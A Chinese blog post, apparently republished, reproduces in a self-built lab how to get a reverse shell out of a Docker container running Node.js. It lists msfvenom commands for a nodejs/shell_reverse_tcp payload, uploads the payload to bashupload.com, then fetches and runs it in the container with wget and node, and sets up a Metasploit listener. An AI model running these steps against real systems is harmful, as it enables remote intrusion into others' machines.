暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

容器(​docker) + node.js反弹shell

pen4uin 2021-01-14
3005

### 前言

这篇文章是我遇到的1种新环境(云上)的渗透,后来听团队大佬大概讲了一下操作(node.js 反弹shell),作为菜鸡的我一向很自觉,学技术自然得"趁热打铁",于是下班回来把环境大概模拟出来,复现了一波。

:实际情况是shell在容器内可以用node.js反弹出shell,但是很不稳定,大概20s左右就掉了,,,现在等大佬们的操作了🙈。



### 环境搭建

  • step 1

    •  准备两台服务器

  • step 2:

    • 1台安装docker,dokcer安装node.js

  • step 3:

    • 1台安装msf


获取云服务器(腾讯云,Ubuntu)

    氪金
    氪金

    ubuntu安装Docker
      # 卸载旧版docker
      sudo apt-get remove docker docker-engine docker.io
      # 更新系统软件
      sudo apt-get update
      # 安装依赖包
      sudo apt-get install \
      apt-transport-https \
      ca-certificates \
      curl \
      gnupg-agent \
      software-properties-common
      # 添加官方密钥
      curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
      # 再次更新系统软件
      sudo apt-get update
      # 使用脚本自动安装docker
      curl -fsSL get.docker.com -o get-docker.sh
      sudo sh get-docker.sh --mirror Aliyun
      # 查看docker安装的版本
      docker -v
      dokcer安装node.js

        # 命令来查看可用版本
        docker search node 
        # 查看是否已安装了 node
        docker images
        # 拉取官方的最新版本的镜像
        docker pull node:latest
        # 运行 node 容器(--name:容器名称)
        docker run -itd --name shell_from_node node
        # 进入容器并查看 node 版本
        docker exec -it shell_from_node bin/bash
        node -v




        到这里,环境搭建完毕。



        ### 复现

        姿势1 lambda Node.js 反弹shell

        首先安装vim(编辑shell.js)

          apt-get update
          apt-get install

          shell.js源码如下:

          编辑完保存为shell.js, 然后直接在目标机器上执行即可

            node shell.js

            图1)

            (图2)

            如图所示,成功反弹shell。


            姿势2 msf+node.js 反弹shell

            安装msf

              curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

              注:踩坑如下:

                Failed to connect to raw.githubusercontent.com 
                port 443: Connection refused

                解决方式:

                  sudo vi etc/hosts
                  # 在hosts中添加
                  199.232.28.133raw.githubusercontent.com
                  # 即可

                  msf安装成功:

                  msf 生成payload (node.js)

                    msfvenom -p nodejs/shell_reverse_tcp LHOST=1.1.1.1 LPORT=8889 -f raw > msf_shell.js

                    上传到bashupload

                      curl https://bashupload.com/msf_shell.js --data-binary @msf_shell.js

                      然后直接在目标容器下载该payload并执行:

                        wget https://bashupload.com/56yrL/msf_shell.js

                          node msf_shell.js

                          在vps上设置msf监听

                            use exploit/multi/handler
                            set payload nodejs/shell_reverse_tcp
                            set lhost 1.1.1.1
                            set lport 8889
                            exploit

                            如图,成功反弹shell。



                            参考:

                            https://tonghuaroot.com/


                            文章转载自pen4uin,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                            评论